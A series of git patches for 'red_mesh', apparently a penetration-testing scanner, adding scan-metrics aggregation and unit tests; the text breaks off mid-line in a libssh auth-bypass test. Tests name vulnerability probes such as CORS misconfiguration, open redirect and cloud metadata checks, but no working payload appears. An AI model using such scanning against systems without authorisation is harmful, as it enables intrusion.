self.assertEqual(merged["finding_distribution"]["LOW"], 3) + self.assertEqual(merged["finding_distribution"]["MEDIUM"], 1) + self.assertEqual(merged["probes_attempted"], 6) + self.assertEqual(merged["probes_completed"], 5) + self.assertEqual(merged["probes_skipped"], 1) + # Max duration + self.assertEqual(merged["total_duration"], 75.0) + # OR flags + self.assertTrue(merged["rate_limiting_detected"]) + self.assertFalse(merged["blocking_detected"]) + + + def test_close_job_merges_thread_metrics(self): + """16b: _close_job replaces generically-merged scan_metrics with properly summed metrics.""" + TestPhase15Listing._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.ee_addr = "node-A" + + # Two mock workers with different scan_metrics + worker1 = MagicMock() + worker1.get_status.return_value = { + "open_ports": [80], "service_info": {}, "scan_metrics": { + "connection_outcomes": {"connected": 10, "timeout": 2, "total": 12}, + "total_duration": 30.0, + "probes_attempted": 2, "probes_completed": 2, "probes_skipped": 0, "probes_failed": 0, + "rate_limiting_detected": False, "blocking_detected": False, + } + } + worker2 = MagicMock() + worker2.get_status.return_value = { + "open_ports": [443], "service_info": {}, "scan_metrics": { + "connection_outcomes": {"connected": 8, "timeout": 5, "total": 13}, + "total_duration": 45.0, + "probes_attempted": 2, "probes_completed": 1, "probes_skipped": 1, "probes_failed": 0, + "rate_limiting_detected": True, "blocking_detected": False, + } + } + plugin.scan_jobs = {"job-1": {"t1": worker1, "t2": worker2}} + + # _get_aggregated_report with merge_objects_deep would do last-writer-wins on leaf ints + # Simulate that by returning worker2's metrics (wrong — should be summed) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80, 443], "service_info": {}, + "scan_metrics": { + "connection_outcomes": {"connected": 8, "timeout": 5, "total": 13}, + "total_duration": 45.0, + } + }) + # Use real static method for merge + plugin._merge_worker_metrics = PentesterApi01Plugin._merge_worker_metrics + + saved_reports = [] + def capture_add_json(data, show_logs=False): + saved_reports.append(data) + return "QmReport123" + plugin.r1fs.add_json.side_effect = capture_add_json + + job_specs = {"job_id": "job-1", "target": "10.0.0.1", "workers": {}} + plugin.chainstore_hget.return_value = job_specs + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + plugin._get_job_config = MagicMock(return_value={"redact_credentials": False}) + plugin._redact_report = MagicMock(side_effect=lambda r: r) + + PentesterApi01Plugin._close_job(plugin, "job-1") + + # The report saved to R1FS should have properly merged metrics + self.assertEqual(len(saved_reports), 1) + sm = saved_reports[0].get("scan_metrics") + self.assertIsNotNone(sm) + # Connection outcomes should be summed, not last-writer-wins + self.assertEqual(sm["connection_outcomes"]["connected"], 18) + self.assertEqual(sm["connection_outcomes"]["timeout"], 7) + self.assertEqual(sm["connection_outcomes"]["total"], 25) + # Max duration + self.assertEqual(sm["total_duration"], 45.0) + # Probes summed + self.assertEqual(sm["probes_attempted"], 4) + self.assertEqual(sm["probes_completed"], 3) + # OR flags + self.assertTrue(sm["rate_limiting_detected"]) + + def test_finalize_pass_attaches_pass_metrics(self): + """16c: _maybe_finalize_pass merges node metrics into PassReport.scan_metrics.""" + TestPhase15Listing._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.ee_addr = "node-launcher" + plugin.cfg_llm_agent_api_enabled = False + plugin.cfg_attestation_min_seconds_between_submits = 3600 + + # Two workers, each with a report_cid + workers = { + "node-A": {"finished": True, "report_cid": "cid-report-A"}, + "node-B": {"finished": True, "report_cid": "cid-report-B"}, + } + job_specs = { + "job_id": "job-1", + "job_status": "RUNNING", + "target": "10.0.0.1", + "run_mode": "SINGLEPASS", + "launcher": "node-launcher", + "workers": workers, + "job_pass": 1, + "pass_reports": [], + "timeline": [{"event": "created", "ts": 1700000000.0}], + } + plugin.chainstore_hgetall.return_value = {"job-1": job_specs} + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + plugin.time.return_value = 1700000120.0 + + # Node reports with different metrics + node_report_a = { + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "correlation_findings": [], "start_port": 1, "end_port": 32767, + "ports_scanned": 32767, + "scan_metrics": { + "connection_outcomes": {"connected": 5, "timeout": 1, "total": 6}, + "total_duration": 50.0, + "probes_attempted": 3, "probes_completed": 3, "probes_skipped": 0, "probes_failed": 0, + "rate_limiting_detected": False, "blocking_detected": False, + } + } + node_report_b = { + "open_ports": [443], "service_info": {}, "web_tests_info": {}, + "correlation_findings": [], "start_port": 32768, "end_port": 65535, + "ports_scanned": 32768, + "scan_metrics": { + "connection_outcomes": {"connected": 3, "timeout": 4, "total": 7}, + "total_duration": 65.0, + "probes_attempted": 3, "probes_completed": 2, "probes_skipped": 0, "probes_failed": 1, + "rate_limiting_detected": False, "blocking_detected": True, + } + } + + node_reports_by_addr = {"node-A": node_report_a, "node-B": node_report_b} + plugin._collect_node_reports = MagicMock(return_value=node_reports_by_addr) + # _get_aggregated_report would use merge_objects_deep (wrong for metrics) + # Return a dict with last-writer-wins metrics to simulate the bug + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80, 443], "service_info": {}, "web_tests_info": {}, + "scan_metrics": node_report_b["scan_metrics"], # wrong — just node B's + }) + # Use real static method for merge + plugin._merge_worker_metrics = PentesterApi01Plugin._merge_worker_metrics + + # Capture what gets saved as pass report + saved_pass_reports = [] + def capture_add_json(data, show_logs=False): + saved_pass_reports.append(data) + return f"QmPassReport{len(saved_pass_reports)}" + plugin.r1fs.add_json.side_effect = capture_add_json + + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 25, "breakdown": {}}, [])) + plugin._get_job_config = MagicMock(return_value={}) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._build_job_archive = MagicMock() + plugin._clear_live_progress = MagicMock() + plugin._emit_timeline_event = MagicMock() + plugin._get_timeline_date = MagicMock(return_value=1700000000.0) + plugin.Pd = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # Should have saved: aggregated_data (step 6) + pass_report (step 10) + self.assertGreaterEqual(len(saved_pass_reports), 2) + pass_report = saved_pass_reports[-1] # Last one is the PassReport + + sm = pass_report.get("scan_metrics") + self.assertIsNotNone(sm, "PassReport should have scan_metrics") + # Connection outcomes summed across nodes + self.assertEqual(sm["connection_outcomes"]["connected"], 8) + self.assertEqual(sm["connection_outcomes"]["timeout"], 5) + self.assertEqual(sm["connection_outcomes"]["total"], 13) + # Max duration + self.assertEqual(sm["total_duration"], 65.0) + # Probes summed + self.assertEqual(sm["probes_attempted"], 6) + self.assertEqual(sm["probes_completed"], 5) + self.assertEqual(sm["probes_failed"], 1) + # OR flags + self.assertFalse(sm["rate_limiting_detected"]) + self.assertTrue(sm["blocking_detected"]) + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -4219,4 +4564,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase12LiveProgress)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase14Purge)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase15Listing)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase16ScanMetrics)) runner.run(suite) From f7e3392b09ca070ac89f7db8605fac3db17dbf39 Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 01:24:51 +0000 Subject: [PATCH 019/114] fix: metrics visualization improvements --- .../cybersec/red_mesh/pentest_worker.py | 1 + .../cybersec/red_mesh/pentester_api_01.py | 47 +++++++++++++++++++ .../cybersec/red_mesh/test_redmesh.py | 38 ++++++++++++++- 3 files changed, 84 insertions(+), 2 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentest_worker.py b/extensions/business/cybersec/red_mesh/pentest_worker.py index d95121b5..947fcaa6 100644 --- a/extensions/business/cybersec/red_mesh/pentest_worker.py +++ b/extensions/business/cybersec/red_mesh/pentest_worker.py @@ -157,6 +157,7 @@ def _compute_coverage(self) -> dict | None: "ports_scanned": self._ports_scanned, "ports_skipped": self._ports_skipped, "coverage_pct": pct, + "open_ports_count": len(self._open_ports), } def build(self) -> ScanMetrics: diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index e95e780b..c7044911 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -3141,11 +3141,13 @@ def _merge_worker_metrics(metrics_list): cov_scanned = sum(m.get("coverage", {}).get("ports_scanned", 0) for m in metrics_list if m.get("coverage")) cov_range = sum(m.get("coverage", {}).get("ports_in_range", 0) for m in metrics_list if m.get("coverage")) cov_skipped = sum(m.get("coverage", {}).get("ports_skipped", 0) for m in metrics_list if m.get("coverage")) + cov_open = sum(m.get("coverage", {}).get("open_ports_count", 0) for m in metrics_list if m.get("coverage")) if cov_range: merged["coverage"] = { "ports_in_range": cov_range, "ports_scanned": cov_scanned, "ports_skipped": cov_skipped, "coverage_pct": round(cov_scanned / cov_range * 100, 1), + "open_ports_count": cov_open, } # Sum finding distribution findings = {} @@ -3154,11 +3156,56 @@ def _merge_worker_metrics(metrics_list): findings[k] = findings.get(k, 0) + v if findings: merged["finding_distribution"] = findings + # Sum service distribution + services = {} + for m in metrics_list: + for k, v in (m.get("service_distribution") or {}).items(): + services[k] = services.get(k, 0) + v + if services: + merged["service_distribution"] = services # Sum probe counts for field in ("probes_attempted", "probes_completed", "probes_skipped", "probes_failed"): merged[field] = sum(m.get(field, 0) for m in metrics_list) + # Merge probe breakdown (union of all probes) + probe_bd = {} + for m in metrics_list: + for k, v in (m.get("probe_breakdown") or {}).items(): + # Keep worst status: failed > skipped > completed + existing = probe_bd.get(k) + if existing is None or v == "failed" or (v.startswith("skipped") and existing == "completed"): + probe_bd[k] = v + if probe_bd: + merged["probe_breakdown"] = probe_bd # Max total_duration merged["total_duration"] = max(m.get("total_duration", 0) for m in metrics_list) + # Phase durations: max per phase (parallel threads, longest wins) + phase_durs = {} + for m in metrics_list: + for k, v in (m.get("phase_durations") or {}).items(): + phase_durs[k] = max(phase_durs.get(k, 0), v) + if phase_durs: + merged["phase_durations"] = phase_durs + # Merge stats distributions (response_times, port_scan_delays) + # Use weighted mean, global min/max, approximate p95/p99 from max of per-thread values + for stats_field in ("response_times", "port_scan_delays"): + stats_list = [m[stats_field] for m in metrics_list if m.get(stats_field)] + if stats_list: + total_count = sum(s.get("count", 0) for s in stats_list) + if total_count > 0: + merged[stats_field] = { + "min": min(s["min"] for s in stats_list), + "max": max(s["max"] for s in stats_list), + "mean": round(sum(s["mean"] * s.get("count", 1) for s in stats_list) / total_count, 4), + "median": round(sum(s["median"] * s.get("count", 1) for s in stats_list) / total_count, 4), + "stddev": round(max(s.get("stddev", 0) for s in stats_list), 4), + "p95": round(max(s.get("p95", 0) for s in stats_list), 4), + "p99": round(max(s.get("p99", 0) for s in stats_list), 4), + "count": total_count, + } + # Success rate over time: take from the longest-running thread + longest = max(metrics_list, key=lambda m: m.get("total_duration", 0)) + if longest.get("success_rate_over_time"): + merged["success_rate_over_time"] = longest["success_rate_over_time"] # Detection flags (any thread detecting = True) merged["rate_limiting_detected"] = any(m.get("rate_limiting_detected") for m in metrics_list) merged["blocking_detected"] = any(m.get("blocking_detected") for m in metrics_list) diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 1cf160fe..433c78ab 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -4285,11 +4285,15 @@ def test_metrics_collector_coverage(self): mc.start_scan(100) for i in range(50): mc.record_connection("connected" if i < 5 else "refused", 0.01) + # Simulate finding 5 open ports (via record_open_port) + for i in range(5): + mc.record_open_port(8000 + i) d = mc.build().to_dict() cov = d["coverage"] self.assertEqual(cov["ports_in_range"], 100) self.assertEqual(cov["ports_scanned"], 50) self.assertEqual(cov["coverage_pct"], 50.0) + self.assertEqual(cov["open_ports_count"], 5) def test_scan_metrics_model_roundtrip(self): """ScanMetrics.from_dict(sm.to_dict()) preserves all fields.""" @@ -4330,16 +4334,24 @@ def test_merge_worker_metrics(self): from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin m1 = { "connection_outcomes": {"connected": 30, "timeout": 5, "total": 35}, - "coverage": {"ports_in_range": 500, "ports_scanned": 500, "ports_skipped": 0, "coverage_pct": 100.0}, + "coverage": {"ports_in_range": 500, "ports_scanned": 500, "ports_skipped": 0, "coverage_pct": 100.0, "open_ports_count": 3}, "finding_distribution": {"HIGH": 2, "MEDIUM": 1}, + "service_distribution": {"http": 2, "ssh": 1}, + "probe_breakdown": {"_service_info_http": "completed", "_web_test_xss": "completed"}, + "phase_durations": {"port_scan": 30.0, "fingerprint": 10.0, "service_probes": 15.0}, + "response_times": {"min": 0.01, "max": 0.5, "mean": 0.05, "median": 0.04, "stddev": 0.03, "p95": 0.2, "p99": 0.4, "count": 500}, "probes_attempted": 3, "probes_completed": 3, "probes_skipped": 0, "probes_failed": 0, "total_duration": 60.0, "rate_limiting_detected": False, "blocking_detected": False, } m2 = { "connection_outcomes": {"connected": 20, "timeout": 10, "total": 30}, - "coverage": {"ports_in_range": 500, "ports_scanned": 400, "ports_skipped": 100, "coverage_pct": 80.0}, + "coverage": {"ports_in_range": 500, "ports_scanned": 400, "ports_skipped": 100, "coverage_pct": 80.0, "open_ports_count": 2}, "finding_distribution": {"HIGH": 1, "LOW": 3}, + "service_distribution": {"http": 1, "mysql": 1}, + "probe_breakdown": {"_service_info_http": "completed", "_service_info_mysql": "completed", "_web_test_xss": "failed"}, + "phase_durations": {"port_scan": 45.0, "fingerprint": 8.0, "service_probes": 20.0}, + "response_times": {"min": 0.02, "max": 0.8, "mean": 0.08, "median": 0.06, "stddev": 0.05, "p95": 0.3, "p99": 0.7, "count": 400}, "probes_attempted": 3, "probes_completed": 2, "probes_skipped": 1, "probes_failed": 0, "total_duration": 75.0, "rate_limiting_detected": True, "blocking_detected": False, @@ -4353,12 +4365,34 @@ def test_merge_worker_metrics(self): self.assertEqual(merged["coverage"]["ports_scanned"], 900) self.assertEqual(merged["coverage"]["ports_skipped"], 100) self.assertEqual(merged["coverage"]["coverage_pct"], 90.0) + self.assertEqual(merged["coverage"]["open_ports_count"], 5) self.assertEqual(merged["finding_distribution"]["HIGH"], 3) self.assertEqual(merged["finding_distribution"]["LOW"], 3) self.assertEqual(merged["finding_distribution"]["MEDIUM"], 1) self.assertEqual(merged["probes_attempted"], 6) self.assertEqual(merged["probes_completed"], 5) self.assertEqual(merged["probes_skipped"], 1) + # Service distribution summed + self.assertEqual(merged["service_distribution"]["http"], 3) + self.assertEqual(merged["service_distribution"]["ssh"], 1) + self.assertEqual(merged["service_distribution"]["mysql"], 1) + # Probe breakdown: union, worst status wins + self.assertEqual(merged["probe_breakdown"]["_service_info_http"], "completed") + self.assertEqual(merged["probe_breakdown"]["_service_info_mysql"], "completed") + self.assertEqual(merged["probe_breakdown"]["_web_test_xss"], "failed") # failed > completed + # Phase durations: max per phase + self.assertEqual(merged["phase_durations"]["port_scan"], 45.0) + self.assertEqual(merged["phase_durations"]["fingerprint"], 10.0) + self.assertEqual(merged["phase_durations"]["service_probes"], 20.0) + # Response times: merged stats + rt = merged["response_times"] + self.assertEqual(rt["min"], 0.01) # global min + self.assertEqual(rt["max"], 0.8) # global max + self.assertEqual(rt["count"], 900) # total count + # Weighted mean: (0.05*500 + 0.08*400) / 900 ≈ 0.0633 + self.assertAlmostEqual(rt["mean"], 0.0633, places=3) + self.assertEqual(rt["p95"], 0.3) # max of per-thread p95 + self.assertEqual(rt["p99"], 0.7) # max of per-thread p99 # Max duration self.assertEqual(merged["total_duration"], 75.0) # OR flags From 1083e80b583c745cef0337edbd66d98c9bd54fb1 Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 01:59:48 +0000 Subject: [PATCH 020/114] fix: scan profile simplification --- .../cybersec/red_mesh/models/shared.py | 6 ++++ .../cybersec/red_mesh/pentest_worker.py | 17 ++++++++-- .../cybersec/red_mesh/pentester_api_01.py | 15 ++++++++ .../cybersec/red_mesh/test_redmesh.py | 34 +++++++++++++++++-- 4 files changed, 67 insertions(+), 5 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/models/shared.py b/extensions/business/cybersec/red_mesh/models/shared.py index 377722d8..bc0e6d4e 100644 --- a/extensions/business/cybersec/red_mesh/models/shared.py +++ b/extensions/business/cybersec/red_mesh/models/shared.py @@ -120,6 +120,10 @@ class ScanMetrics: service_distribution: dict = None # { "http": 3, "ssh": 1, "mysql": 1 } finding_distribution: dict = None # { "CRITICAL": 1, "HIGH": 3, "MEDIUM": 7, ... } + # ── Open port details ── + open_port_details: list = None # [ { "port": 22, "protocol": "ssh", "banner_confirmed": True }, ... ] + banner_confirmation: dict = None # { "confirmed": 3, "guessed": 2 } + def to_dict(self) -> dict: return _strip_none(asdict(self)) @@ -144,4 +148,6 @@ def from_dict(cls, d: dict) -> ScanMetrics: port_distribution=d.get("port_distribution"), service_distribution=d.get("service_distribution"), finding_distribution=d.get("finding_distribution"), + open_port_details=d.get("open_port_details"), + banner_confirmation=d.get("banner_confirmation"), ) diff --git a/extensions/business/cybersec/red_mesh/pentest_worker.py b/extensions/business/cybersec/red_mesh/pentest_worker.py index 947fcaa6..c1f056a4 100644 --- a/extensions/business/cybersec/red_mesh/pentest_worker.py +++ b/extensions/business/cybersec/red_mesh/pentest_worker.py @@ -37,7 +37,10 @@ def __init__(self): self._ports_scanned = 0 self._ports_skipped = 0 self._open_ports = [] + self._open_port_details = [] # [{"port": int, "protocol": str, "banner_confirmed": bool}] self._service_counts = {} + self._banner_confirmed = 0 + self._banner_guessed = 0 self._finding_counts = {} # For success rate over time windows self._connection_log = [] # [(timestamp, success_bool)] @@ -65,8 +68,13 @@ def record_port_scan_delay(self, delay: float): def record_probe(self, probe_name: str, result: str): self._probe_results[probe_name] = result - def record_open_port(self, port: int, protocol: str = None): + def record_open_port(self, port: int, protocol: str = None, banner_confirmed: bool = False): self._open_ports.append(port) + self._open_port_details.append({"port": port, "protocol": protocol or "unknown", "banner_confirmed": banner_confirmed}) + if banner_confirmed: + self._banner_confirmed += 1 + else: + self._banner_guessed += 1 if protocol: self._service_counts[protocol] = self._service_counts.get(protocol, 0) + 1 @@ -172,13 +180,14 @@ def build(self) -> ScanMetrics: probes_skipped = sum(1 for v in self._probe_results.values() if v.startswith("skipped")) probes_failed = sum(1 for v in self._probe_results.values() if v == "failed") + banner_total = self._banner_confirmed + self._banner_guessed return ScanMetrics( phase_durations=self._compute_phase_durations(), total_duration=round(time.time() - self._scan_start, 2) if self._scan_start else 0, port_scan_delays=self._compute_stats(self._port_scan_delays), connection_outcomes=outcomes if total_connections > 0 else None, response_times=self._compute_stats(self._response_times), - slow_ports=None, # TODO: implement slow port detection + slow_ports=None, success_rate_over_time=self._compute_success_windows(), rate_limiting_detected=self._detect_rate_limiting(), blocking_detected=self._detect_blocking(), @@ -191,6 +200,8 @@ def build(self) -> ScanMetrics: port_distribution=self._compute_port_distribution(), service_distribution=dict(self._service_counts) if self._service_counts else None, finding_distribution=dict(self._finding_counts) if self._finding_counts else None, + open_port_details=list(self._open_port_details) if self._open_port_details else None, + banner_confirmation={"confirmed": self._banner_confirmed, "guessed": self._banner_guessed} if banner_total > 0 else None, ) @@ -740,7 +751,7 @@ def _scan_ports_step(self, batch_size=None, batch_nr=1): self.state["port_protocols"][port] = protocol self.state["port_banners"][port] = banner_text self.state["port_banner_confirmed"][port] = banner_confirmed - self.metrics.record_open_port(port, protocol) + self.metrics.record_open_port(port, protocol, banner_confirmed) else: # Port closed/filtered import errno diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index c7044911..edf09125 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -3209,6 +3209,21 @@ def _merge_worker_metrics(metrics_list): # Detection flags (any thread detecting = True) merged["rate_limiting_detected"] = any(m.get("rate_limiting_detected") for m in metrics_list) merged["blocking_detected"] = any(m.get("blocking_detected") for m in metrics_list) + # Open port details: union, deduplicate by port + all_details = [] + seen_ports = set() + for m in metrics_list: + for d in (m.get("open_port_details") or []): + if d["port"] not in seen_ports: + seen_ports.add(d["port"]) + all_details.append(d) + if all_details: + merged["open_port_details"] = sorted(all_details, key=lambda x: x["port"]) + # Banner confirmation: sum counts + bc_confirmed = sum(m.get("banner_confirmation", {}).get("confirmed", 0) for m in metrics_list) + bc_guessed = sum(m.get("banner_confirmation", {}).get("guessed", 0) for m in metrics_list) + if bc_confirmed + bc_guessed > 0: + merged["banner_confirmation"] = {"confirmed": bc_confirmed, "guessed": bc_guessed} return merged def _publish_live_progress(self): diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 433c78ab..86f89008 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -4285,15 +4285,24 @@ def test_metrics_collector_coverage(self): mc.start_scan(100) for i in range(50): mc.record_connection("connected" if i < 5 else "refused", 0.01) - # Simulate finding 5 open ports (via record_open_port) + # Simulate finding 5 open ports with banner confirmation for i in range(5): - mc.record_open_port(8000 + i) + mc.record_open_port(8000 + i, protocol="http" if i < 3 else "ssh", banner_confirmed=(i < 3)) d = mc.build().to_dict() cov = d["coverage"] self.assertEqual(cov["ports_in_range"], 100) self.assertEqual(cov["ports_scanned"], 50) self.assertEqual(cov["coverage_pct"], 50.0) self.assertEqual(cov["open_ports_count"], 5) + # Open port details + self.assertEqual(len(d["open_port_details"]), 5) + self.assertEqual(d["open_port_details"][0]["port"], 8000) + self.assertEqual(d["open_port_details"][0]["protocol"], "http") + self.assertTrue(d["open_port_details"][0]["banner_confirmed"]) + self.assertFalse(d["open_port_details"][3]["banner_confirmed"]) + # Banner confirmation + self.assertEqual(d["banner_confirmation"]["confirmed"], 3) + self.assertEqual(d["banner_confirmation"]["guessed"], 2) def test_scan_metrics_model_roundtrip(self): """ScanMetrics.from_dict(sm.to_dict()) preserves all fields.""" @@ -4343,6 +4352,12 @@ def test_merge_worker_metrics(self): "probes_attempted": 3, "probes_completed": 3, "probes_skipped": 0, "probes_failed": 0, "total_duration": 60.0, "rate_limiting_detected": False, "blocking_detected": False, + "open_port_details": [ + {"port": 22, "protocol": "ssh", "banner_confirmed": True}, + {"port": 80, "protocol": "http", "banner_confirmed": True}, + {"port": 443, "protocol": "http", "banner_confirmed": False}, + ], + "banner_confirmation": {"confirmed": 2, "guessed": 1}, } m2 = { "connection_outcomes": {"connected": 20, "timeout": 10, "total": 30}, @@ -4355,6 +4370,11 @@ def test_merge_worker_metrics(self): "probes_attempted": 3, "probes_completed": 2, "probes_skipped": 1, "probes_failed": 0, "total_duration": 75.0, "rate_limiting_detected": True, "blocking_detected": False, + "open_port_details": [ + {"port": 80, "protocol": "http", "banner_confirmed": True}, # duplicate port 80 + {"port": 3306, "protocol": "mysql", "banner_confirmed": True}, + ], + "banner_confirmation": {"confirmed": 2, "guessed": 0}, } merged = PentesterApi01Plugin._merge_worker_metrics([m1, m2]) # Sums @@ -4398,6 +4418,16 @@ def test_merge_worker_metrics(self): # OR flags self.assertTrue(merged["rate_limiting_detected"]) self.assertFalse(merged["blocking_detected"]) + # Open port details: deduplicated by port, sorted + opd = merged["open_port_details"] + self.assertEqual(len(opd), 4) # 22, 80, 443, 3306 (80 deduplicated) + self.assertEqual(opd[0]["port"], 22) + self.assertEqual(opd[1]["port"], 80) + self.assertEqual(opd[2]["port"], 443) + self.assertEqual(opd[3]["port"], 3306) + # Banner confirmation: summed + self.assertEqual(merged["banner_confirmation"]["confirmed"], 4) + self.assertEqual(merged["banner_confirmation"]["guessed"], 1) def test_close_job_merges_thread_metrics(self): From cd80e65941d9c67b59fc2cf3de27f8f8a72e453d Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 13:08:05 +0000 Subject: [PATCH 021/114] fix: redmesh test --- .../cybersec/red_mesh/test_redmesh.py | 30 +++++++++++-------- 1 file changed, 18 insertions(+), 12 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 86f89008..45425156 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -118,7 +118,7 @@ def fake_get(url, timeout=2, verify=False): side_effect=fake_get, ): result = worker._web_test_common("example.com", 80) - self.assertIn("VULNERABILITY: Accessible resource", result) + self._assert_has_finding(result, "Accessible resource") def test_cryptographic_failures_cookie_flags(self): owner, worker = self._build_worker() @@ -130,9 +130,9 @@ def test_cryptographic_failures_cookie_flags(self): return_value=resp, ): result = worker._web_test_flags("example.com", 443) - self.assertIn("VULNERABILITY: Cookie missing Secure flag", result) - self.assertIn("VULNERABILITY: Cookie missing HttpOnly flag", result) - self.assertIn("VULNERABILITY: Cookie missing SameSite flag", result) + self._assert_has_finding(result, "Cookie missing Secure flag") + self._assert_has_finding(result, "Cookie missing HttpOnly flag") + self._assert_has_finding(result, "Cookie missing SameSite flag") def test_injection_sql_detected(self): owner, worker = self._build_worker() @@ -168,7 +168,7 @@ def test_security_misconfiguration_missing_headers(self): return_value=resp, ): result = worker._web_test_security_headers("example.com", 80) - self.assertIn("VULNERABILITY: Missing security header", result) + self._assert_has_finding(result, "Missing security header") def test_vulnerable_component_banner_exposed(self): owner, worker = self._build_worker(ports=[80]) @@ -274,7 +274,7 @@ def test_software_data_integrity_secret_leak(self): return_value=resp, ): result = worker._web_test_homepage("example.com", 80) - self.assertIn("VULNERABILITY: sensitive", result) + self._assert_has_finding(result, "private key") def test_security_logging_tracks_flow(self): owner, worker = self._build_worker() @@ -371,6 +371,9 @@ def __enter__(self): def __exit__(self, exc_type, exc, tb): return False + def close(self): + pass + def version(self): return "TLSv1.3" @@ -446,6 +449,9 @@ def __enter__(self): def __exit__(self, exc_type, exc, tb): return False + def close(self): + pass + def version(self): return "TLSv1.2" @@ -911,7 +917,7 @@ def test_web_graphql_introspection(self): return_value=resp, ): result = worker._web_test_graphql_introspection("example.com", 80) - self.assertIn("VULNERABILITY: GraphQL introspection", result) + self._assert_has_finding(result, "GraphQL introspection") def test_web_metadata_endpoint(self): owner, worker = self._build_worker() @@ -926,7 +932,7 @@ def fake_get(url, timeout=3, verify=False, headers=None): side_effect=fake_get, ): result = worker._web_test_metadata_endpoints("example.com", 80) - self.assertIn("VULNERABILITY: Cloud metadata endpoint", result) + self._assert_has_finding(result, "Cloud metadata endpoint") def test_web_api_auth_bypass(self): owner, worker = self._build_worker() @@ -937,7 +943,7 @@ def test_web_api_auth_bypass(self): return_value=resp, ): result = worker._web_test_api_auth_bypass("example.com", 80) - self.assertIn("VULNERABILITY: API endpoint", result) + self._assert_has_finding(result, "API auth bypass") def test_cors_misconfiguration_detection(self): owner, worker = self._build_worker() @@ -952,7 +958,7 @@ def test_cors_misconfiguration_detection(self): return_value=resp, ): result = worker._web_test_cors_misconfiguration("example.com", 80) - self.assertIn("VULNERABILITY: CORS misconfiguration", result) + self._assert_has_finding(result, "CORS misconfiguration") def test_open_redirect_detection(self): owner, worker = self._build_worker() @@ -964,7 +970,7 @@ def test_open_redirect_detection(self): return_value=resp, ): result = worker._web_test_open_redirect("example.com", 80) - self.assertIn("VULNERABILITY: Open redirect", result) + self._assert_has_finding(result, "Open redirect") def test_http_methods_detection(self): owner, worker = self._build_worker() @@ -976,7 +982,7 @@ def test_http_methods_detection(self): return_value=resp, ): result = worker._web_test_http_methods("example.com", 80) - self.assertIn("VULNERABILITY: Risky HTTP methods", result) + self._assert_has_finding(result, "Risky HTTP methods") # ===== NEW TESTS — findings.py ===== From b556e996c814e341944ddbe3d5c2bd0c7e1be449 Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 13:33:16 +0000 Subject: [PATCH 022/114] fix: service tests --- .../cybersec/red_mesh/test_redmesh.py | 159 ++++++++++++++++++ 1 file changed, 159 insertions(+) diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 45425156..b270a4a3 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -4613,6 +4613,164 @@ def capture_add_json(data, show_logs=False): self.assertTrue(sm["blocking_detected"]) +class TestPhase17aQuickWins(unittest.TestCase): + """Phase 17a: Quick Win probe enhancements.""" + + def _build_worker(self, ports=None): + if ports is None: + ports = [22] + owner = DummyOwner() + worker = PentestLocalWorker( + owner=owner, + target="example.com", + job_id="job-17a", + initiator="init@example", + local_id_prefix="Q", + worker_target_ports=ports, + ) + worker.stop_event = MagicMock() + worker.stop_event.is_set.return_value = False + return owner, worker + + # ---- 17a-1: libssh auth bypass ---- + + def test_ssh_libssh_detected_in_banner(self): + """_ssh_identify_library detects libssh from banner.""" + _, worker = self._build_worker() + lib, ver = worker._ssh_identify_library("SSH-2.0-libssh-0.8.1") + self.assertEqual(lib, "libssh") + self.assertEqual(ver, "0.8.1") + + def test_ssh_libssh_bypass_returns_none_on_failure(self): + """_ssh_check_libssh_bypass returns None when connection fails.""" + _, worker = self._build_worker() + result = 